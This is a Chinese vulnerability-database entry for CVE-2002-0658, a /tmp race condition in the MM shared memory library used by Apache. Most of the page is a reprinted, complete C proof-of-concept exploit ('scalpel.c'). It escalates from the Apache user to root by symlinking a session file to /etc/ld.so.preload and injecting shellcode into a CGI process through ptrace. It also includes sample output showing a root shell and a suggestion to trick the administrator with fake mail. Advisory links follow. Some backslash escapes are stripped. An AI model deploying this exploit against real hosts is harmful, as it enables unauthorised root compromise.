MM共享内存库临时文件本地权限提升漏洞
漏洞ID | 1106888 | 漏洞类型 | 竞争条件 |
发布时间 | 2002-07-29 | 更新时间 | 2005-05-02 |
CVE编号 | CVE-2002-0658 |
CNNVD-ID | CNNVD-200208-069 |
漏洞平台 | Linux | CVSS评分 | 6.2 |
|漏洞来源
|漏洞详情
OSSPMM是一款共享内存程序库。OSSPMM存在竞争条件漏洞,本地攻击者可以利用这个漏洞进行权限提升。MarcusMeissner和SebastianKrahmer发现在MM共享库中在处理临时文件时存在竞争条件漏洞,本地攻击者可以利用这个漏洞进行权限提升。ApacheWeb服务程序使用了MM共享库,如果拥有Apache用户权限的攻击者,可以利用这个漏洞获得root用户权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/5352/info
The MM Shared Memory library is reported to be prone to a race condition with regards to temporary files which may enable a local attacker to gain elevated privileges. This issue may reportedly be exploited by an attacker with shell access as the Apache webserver user to gain root privileges on a vulnerable host.
/*** scalpel.c -- local apache/PHP root via libmm (apache-user -> root)
***
*** (C) 2002 Sebastian Krahmer proof of concept exploit.
***
*** Exploiting conditions:
***
*** Apache is linked against libmm which has /tmp races.
*** Upon Apache start or restart code is executed like
*** unlink("/tmp/session_mm.sem"); open("/tmp/session_mm.sem", O_RDWR|O_CREAT).
*** If attacker exploited any CGI or PHP script remotely he gained
*** apache-user and can go one step further to get root by:
***
*** 1) STOPing all httpd's and bring root to execute /etc/rc.d/apache restart
*** Its very likely root does so because webserver just doesnt work anymore
*** (all childs are STOPed). One can also send him fake-mail
*** from httpd-watchdog that he has to invoke the command.
*** 2) Install signal-handler and using 2.4 directory notifying to see when
*** /tmp/session_mm.sem is unlinked. Create link to /etc/ld.so.preload
*** immediately which makes Apache creating that file.
*** 3) Trigger execution of a CGI script where Apache leaks a descriptor
*** (r+w) to /etc/ld.so.preload to the child.
*** 4) Ptrace that script, inject code which writes content to preload-file.
*** 5) Execute suid-helper to execute code as root.
***
*** Note in 4) that we cant ptrace httpd alone because it setuid'ed from root
*** to apache-user thus setting id-changed flag. By triggering execve() of
*** a CGI script this flag is cleared and we can hijack process.
***
*** assert(must-be-apache-user && must-have-a-cgi-script-installed &&
*** must-bring-root-to-restart-apache);
***
***
*** wwwrun@liane:~> cc scalpel.c -Wall
*** wwwrun@liane:~> ./a.out /cgi-bin/genindex.pl
*** httpd(2368): Operation not permitted
*** Creating /tmp/boomsh
*** Creating /tmp/boomso
*** Installed signal-handler. Waiting for apache restart.
*** ++++++Forking off proc-scan to attach to CGI-script.
*** Triggering CGI: /cgi-bin/genindex.pl
*** Got cgi-bin PID 2460
*** Injecting of write-code finished.
*** blub
*** +sh-2.05# id
*** uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
*** sh-2.05#
***/
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/stat.h>
#include <dirent.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <asm/ptrace.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <sys/wait.h>
/* Please do not complain about ugly code; its a 1h exploit.
* For good code see crypto-pty for example ;-)
*/
int create_link()
{
symlink("/etc/ld.so.preload", "/tmp/session_mm.sem");
return 0;
}
void die(char *s)
{
perror(s);
exit(errno);
}
void sig_x(int x)
{
create_link();
printf("+");
}
void usage()
{
printf("Usage: scalpel <cgi-script>nn"
"i.e. ./scalpel /cgi-bin/moo.cgin");
exit(1);
}
int scan_proc()
{
int lastpid, fd, i, pid, done = 0;
unsigned int eip;
char fname[1024];
char code[] =
"x90x90x90x90x90x90x90x90x90x90x90x90"
"xe8x10x00x00x00x2fx74x6dx70x2fx62x6f"
"x6fx6dx73x68x2ex73x6fx0ax00xb8x04x00"
"x00x00xbbx05x00x00x00x59xbax0fx00x00"
"x00xcdx80xb8x01x00x00x00x31xdbxcdx80";
unsigned long *p;
printf("Forking off proc-scan to attach to CGI-script.n");
if (fork() > 0)
return 0;
lastpid = getpid();
while (!done) {
for (i = 0; i < 100; ++i) {
snprintf(fname, sizeof(fname), "/proc/%d/cmdline", lastpid+i);
if ((fd = open(fname, O_RDONLY)) < 0)
continue;
read(fd, fname, sizeof(fname));
close(fd);
if (strcmp(fname, "/usr/bin/perl") == 0) {
if (ptrace(PTRACE_ATTACH, lastpid+i,0,0) < 0) {
pid = lastpid+i;
done = 1;
break;
}
}
}
}
printf("Got cgi-bin PID %dn", pid);
waitpid(pid, NULL, 0);
eip = ptrace(PTRACE_PEEKUSER, pid, 4*EIP, 0);
if (errno)
die("ptrace");
for (p = (unsigned long*)code; i < sizeof(code); i+= 4, ++p) {
if (ptrace(PTRACE_POKETEXT, pid, eip + i, *p) < 0)
die("ptrace");
}
if (ptrace(PTRACE_POKEUSER, pid, 4*EIP, eip+4) < 0)
die("ptrace");
if (ptrace(PTRACE_DETACH, pid, 0, 0) < 0)
die("ptrace");
printf("Injecting of write-code finished.n");
exit(0);
}
int tcp_connect(const char *host, u_short port)
{
int sock;
struct hostent *he;
struct sockaddr_in sin;
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("sock");
if ((he = gethostbyname(host)) == NULL) {
herror("gethostbyname");
exit(EXIT_FAILURE);
}
memset(&sin, 0, sizeof(sin));
memcpy(&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = port == 0 ? htons(80):htons(port);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
close(sock);
return -1;
}
return sock;
}
int trigger_cgi(const char *cgi)
{
char cmd[1024];
int sock = tcp_connect("127.0.0.1", 80);
printf("Triggering CGI: %sn", cgi);
snprintf(cmd, sizeof(cmd), "GET %s HTTP/1.0rnrn", cgi);
if (write(sock, cmd, strlen(cmd)) < 0)
die("write");
sleep(1);
close(sock);
return 0;
}
int create_boomsh()
{
FILE *f = fopen("/tmp/boomsh.c", "w+");
printf("Creating /tmp/boomshn");
if (!f)
die("fopen");
fprintf(f, "#include <stdio.h>nint main()n{nchar *a[]={"/bin/sh",0};"
"setuid(0); execve(*a, a, NULL);return 1;}n");
fclose(f);
system("gcc /tmp/boomsh.c -o /tmp/boomsh");
return 0;
}
int create_boomso()
{
FILE *f = fopen("/tmp/boomso.c", "w+");
printf("Creating /tmp/boomson");
if (!f)
die("fopen");
fprintf(f, "#include <stdio.h>nvoid _init(){if (geteuid()) return;printf("blubn");"
"chown("/tmp/boomsh",0, 0); chmod("/tmp/boomsh", 04755);"
"unlink("/etc/ld.so.preload");exit(0);}");
fclose(f);
system("gcc -c -fPIC /tmp/boomso.c -o /tmp/boomso.o;"
"ld -Bshareable /tmp/boomso.o -o /tmp/boomsh.so");
return 0;
}
int main(int argc, char **argv)
{
int fd;
struct stat st;
char *cgi = NULL;
extern char **environ;
char *boomsh[] = {"/tmp/boomsh", NULL};
char *suid[] = {"/bin/su", NULL};
if (argc < 2)
usage();
cgi = strdup(argv[1]);
setbuffer(stdout, NULL, 0);
system("killall -STOP httpd");
create_boomsh();
create_boomso();
if ((fd = open("/tmp", O_RDONLY|O_DIRECTORY)) < 0) {
return -1;
}
if (fcntl(fd, F_SETSIG, SIGUSR1) < 0) {
return -1;
}
if (fcntl(fd, F_NOTIFY, DN_MODIFY|DN_DELETE|DN_RENAME|DN_ATTRIB
|DN_CREATE|DN_MULTISHOT|DN_ACCESS) < 0) {
return -1;
}
signal(SIGUSR1, sig_x);
printf("Installed signal-handler. Waiting for apache restart.n");
/* wait for /etc/ld.so.preload to apear */
while (stat("/etc/ld.so.preload", &st) < 0)
sleep(1);
/* forks off daemon */
scan_proc();
/* Trigger execution of a CGI-script */
trigger_cgi(cgi);
for(;;) {
sleep(1);
memset(&st, 0,sizeof(st));
stat("/etc/ld.so.preload", &st);
if (st.st_size > 0)
break;
if (stat("/tmp/boomsh", &st) == 0 && st.st_uid == 0)
break;
}
/* Apropriate content is in /etc/ld.so.preload now */
if (fork() == 0) {
execve(*suid, suid, NULL);
exit(1);
}
sleep(3);
execve(*boomsh, boomsh, environ);
return 0;
}
|参考资料
来源:MANDRAKE
名称:MDKSA-2002:045
链接:http://www.linux-mandrake.com/en/security/2002/MDKSA-2002-045.php
来源:BID
名称:5352
链接:http://www.securityfocus.com/bid/5352
来源:REDHAT
名称:RHSA-2003:158
链接:http://www.redhat.com/support/errata/RHSA-2003-158.html
来源:REDHAT
名称:RHSA-2002:163
链接:http://www.redhat.com/support/errata/RHSA-2002-163.html
来源:SUSE
名称:SuSE-SA:2002:028
链接:http://www.novell.com/linux/security/advisories/2002_028_mod_ssl.html
来源:XF
名称:mm-tmpfile-symlink(9719)
链接:http://www.iss.net/security_center/static/9719.php
来源:DEBIAN
名称:DSA-137
链接:http://www.debian.org/security/2002/dsa-137
来源:REDHAT
名称:RHSA-2002:164
链接:http://rhn.redhat.com/errata/RHSA-2002-164.html
来源:REDHAT
名称:RHSA-2002:156
链接:http://rhn.redhat.com/errata/RHSA-2002-156.html
来源:REDHAT
名称:RHSA-2002:154
链接:http://rhn.redhat.com/errata/RHSA-2002-154.html
来源:REDHAT
名称:RHSA-2002:153
链接:http://rhn.redhat.com/errata/RHSA-2002-153.html
来源:HP
名称:HPSBTL0208-056
链接:http://online.securityfocus.com/advisories/4392
来源:FREEBSD
名称:FreeBSD-SN-02:
相关推荐: Email Sanitizer MIME Type Parsing Remote Denial Of Service Vulnerability
Email Sanitizer MIME Type Parsing Remote Denial Of Service Vulnerability 漏洞ID 1097411 漏洞类型 Failure to Handle Exceptional Condition…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666